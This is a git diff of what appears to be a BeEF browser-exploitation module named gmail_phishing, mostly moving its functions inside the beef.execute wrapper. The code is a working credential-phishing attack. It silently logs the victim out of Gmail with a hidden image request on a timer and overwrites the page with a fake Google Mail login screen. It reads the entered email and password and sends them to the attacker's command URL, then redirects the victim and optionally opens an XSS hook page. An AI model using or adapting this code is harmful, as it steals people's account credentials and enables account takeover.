diff --git a/modules/social_engineering/gmail_phishing/command.js b/modules/social_engineering/gmail_phishing/command.js index 7c2038c2ac..fcc9e496a3 100644 --- a/modules/social_engineering/gmail_phishing/command.js +++ b/modules/social_engineering/gmail_phishing/command.js @@ -4,41 +4,43 @@ // See the file 'doc/COPYING' for copying permission // -function logoutGoogle() { - var img = document.createElement("IMG"); - img.src = "https://mail.google.com/mail/?logout"; - img.height = "1px"; - img.width = "1px"; - img.style.visibility = "hidden"; - document.body.appendChild(img); - //set a new setTimeout to redo the logout - setTimeout('logoutGoogle()', <%= @logout_gmail_interval %>); -} - beef.execute(function() { + + window.clickedSubmitButton = function () { + var credentials = "Username: "+document.getElementById('Email').value+" Password: "+document.getElementById('Passwd').value; + beef.net.send("<%= @command_url %>", <%= @command_id %>, "result="+credentials); + //Timeout needed because otherwise the beef panel doesn't get the credentials in time + setTimeout(window.redirect, <%= @wait_seconds_before_redirect %>); + }; + + window.redirect = function () { + var theXssUrl = "<%== @xss_hook_url %>"; + if(theXssUrl){ + window.open(theXssUrl); + window.focus(); + } + window.location = "https://accounts.google.com/"; + }; + + function logoutGoogle() { + var img = document.createElement("IMG"); + img.src = "https://mail.google.com/mail/?logout"; + img.height = "1px"; + img.width = "1px"; + img.style.visibility = "hidden"; + document.body.appendChild(img); + //set a new setTimeout to redo the logout + setTimeout(logoutGoogle, <%= @logout_gmail_interval %>); + } + + function displayPhishingSite(){ + var zztop = beef.dom.getHighestZindex()+1; + beef.dom.removeStylesheets(); + document.body.innerHTML = " Google Mail: Email from Google

Google Mail

A Google approach to email.

Google Mail is built on the idea that email can be more intuitive, efficient, and useful. And maybe even fun. After all, Google Mail has:

  • Lots of space

    Over 2757.272164 megabytes (and counting) of free storage.

  • Less spam

    Keep unwanted messages out of your inbox.

  • Mobile access

    Get Google Mail on your mobile phone. Learn more

Take Google Mail to work with Google Apps for Business

Love Google Mail, but looking for a custom email address for your company?
Get business email, calendar, and online docs @your_company.com. Learn more

"; + } + document.title = "Google Mail: Email from Google"; beef.browser.changeFavicon("https://www.google.com/mail/help/images/favicon.ico"); logoutGoogle(); - displayPhishingSite(); + displayPhishingSite(); }); - -function clickedSubmitButton(){ - var credentials = "Username: "+document.getElementById('Email').value+" Password: "+document.getElementById('Passwd').value; - beef.net.send("<%= @command_url %>", <%= @command_id %>, "result="+credentials); - //Timeout needed because otherwise the beef panel doesn't get the credentials in time - setTimeout("redirect()", <%= @wait_seconds_before_redirect %>); -} -function redirect(){ - var theXssUrl = "<%== @xss_hook_url %>"; - if(theXssUrl){ - window.open(theXssUrl); - window.focus(); - } - window.location = "https://accounts.google.com/"; -} - -function displayPhishingSite(){ - var zztop = beef.dom.getHighestZindex()+1; - beef.dom.removeStylesheets(); - document.body.innerHTML = " Google Mail: Email from Google

Google Mail

A Google approach to email.

Google Mail is built on the idea that email can be more intuitive, efficient, and useful. And maybe even fun. After all, Google Mail has:

  • Lots of space

    Over 2757.272164 megabytes (and counting) of free storage.

  • Less spam

    Keep unwanted messages out of your inbox.

  • Mobile access

    Get Google Mail on your mobile phone. Learn more

Take Google Mail to work with Google Apps for Business

Love Google Mail, but looking for a custom email address for your company?
Get business email, calendar, and online docs @your_company.com. Learn more

"; -}